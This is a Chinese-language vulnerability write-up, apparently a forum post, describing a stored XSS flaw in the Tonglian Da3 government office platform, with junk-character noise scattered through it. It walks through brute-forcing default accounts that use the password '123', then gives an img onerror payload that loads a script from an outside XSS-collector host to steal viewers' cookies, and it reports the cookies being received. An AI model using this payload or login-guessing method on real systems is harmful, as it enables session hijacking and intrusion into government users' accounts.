同联Da3协同办公平台后台通用储存型xss漏洞

admin

/ j. u+ ^) @" o: P* J: m, X * P6 t1 R8 {- h# }+ L 1 D/ A6 c- M" ]% d 4 J$ Q* U" I) s4 p8 y! i

同联Da3协同办公平台后台通用储存型xss漏洞 % O& }/ ] j1 w

平台简介： ) u$ L: k0 i6 A% j" t3 s

% [) W8 Y5 c6 h$ }! m   ; M W9 T# ?" z- b E7 z

北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
. Q, p) R. S* C9 t6 t2 |同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
; s! u" X% q5 K4 f' H! c同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！ , P5 _, v) a0 [# J6 G

x" a, k8 s. ^! I

  ( Y2 p' n! a0 O4 [9 Y5 U& C

由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址： : {6 E" l* U5 ^

* E9 Y7 n$ m$ O! d% }# F8 g

 

' w6 C: r' M* J" L; f8 a) a& E

http://1.1.1.1:7197/cap-aco/#（案例2-）

/ w2 r. l" ^6 T# {( v3 ~0 X

http://www.XXOO.com （案例1-官网网站） 5 z$ W3 H+ L& _( \ T$ u

6 s3 r; D( r4 ?" J

5 d8 V9 _! V* Z) ]! W* | 漏洞详情:

 案例一、 1 G- Q) n/ w! f, u Y) }4 o0 M

* f8 i* m8 \6 _# r

# G% R+ F" U( E! M 初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试 % I4 F) d% j% g" o' `

Y3 `4 p5 `% `, g9 ?# G      首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图：

' S" i7 D- R4 f/ \2 j

 

; p7 F& c4 U5 q5 n2 U

( J2 o1 Z0 z3 q, F$ N# w ' Y7 C) y$ Z( X4 z* p

) i: V9 j; ^- C0 t: K status为302即表示破解成功，然后找个破解成功的账号登录系统。然后在通知公告---通知公告发布-拟稿处存在储存型xss漏洞，我在编机器里填写好标题、选择人员，点html如图：

+ _! a* {2 o; u( [ n" t$ g$ o9 \& V   8 Z6 ]1 b4 d; A! W* S7 W) N

8 i) \1 n8 b+ R$ I

( y3 n/ m( T5 w/ L0 @6 V8 i

9 O; V( X6 m0 J2 y# P1 o0 r 然后插我们的xss跨站代码（经过测试发现过滤了好多标签，比如script，没过滤img、iframe标签），这里我们用img标签来测试，payload如下

 

- w- N0 n) B1 i7 H9 E1 C <img src=x onerror=s=createElement('\x73cript');body.appendChild(s);s.src='http://xss.6kb.org/7OO7GQ?1510065652';>，如图： % ?) N0 |7 ^. d) J1 O8 r6 w* {1 p

2 s0 X4 N. K) D( m d( ]# M1 N

然后发送，接收cookie如图： * k, }; P. _& v- ]8 B0 `4 Z, N

n. g8 j. ^8 Q' S0 n+ U1 r% y

- J( w! O( v# M1 P   $ \6 J( J7 [! P8 u R8 Y

$ d# k9 l1 q+ W+ q! I7 Y

& {7 R& p4 D+ {5 I   " b1 H, B0 i; s6 a

x+ O$ i% q. t! o! P& C3 i

& j2 E* E7 ^0 P8 m  

  * t; `0 q& S) M# e( Y8 L" C

: p, y5 ]4 _* p0 }/ I* B- y% y

) W$ S' p# N% r% ? E4 \

# a/ n+ B+ ]* e' G; u6 L: {0 l9 @1 b8 T * R; n8 t6 ?/ W3 [

- l# V) S I! [/ }2 h

* h4 L; x. g& P$ H4 q B   ; N# x' y9 j, E8 I9 g/ ?0 q1 D4 n

, I: ^& s, A6 R9 ~7 p1 Z6 V8 I

案例2、

' e( a$ N# A0 \4 C0 y {

) |5 O+ J6 C. p' b 前面步骤都一样，下面看效果图：

$ [2 D5 ]9 K% S; L6 h

1 n( X5 R2 _. E7 [9 Y9 Y

+ |! p3 x- r4 J5 Z

 

. C5 l$ ^9 G7 j

9 i( x$ S2 \2 R" K& A# F  

  8 S: ~6 T+ x7 K) a0 ?/ `' q

@8 l( q% N1 ?6 Y9 _! K

  5 |) R T$ }2 W& X8 r* \1 x0 [# V

7 q7 M9 _9 |4 r% Q

. t2 Z" C0 F/ B' }0 a/ W2 j: i: z  

3 r" w* n0 L3 F7 I   ' J5 O7 ^8 o1 g) v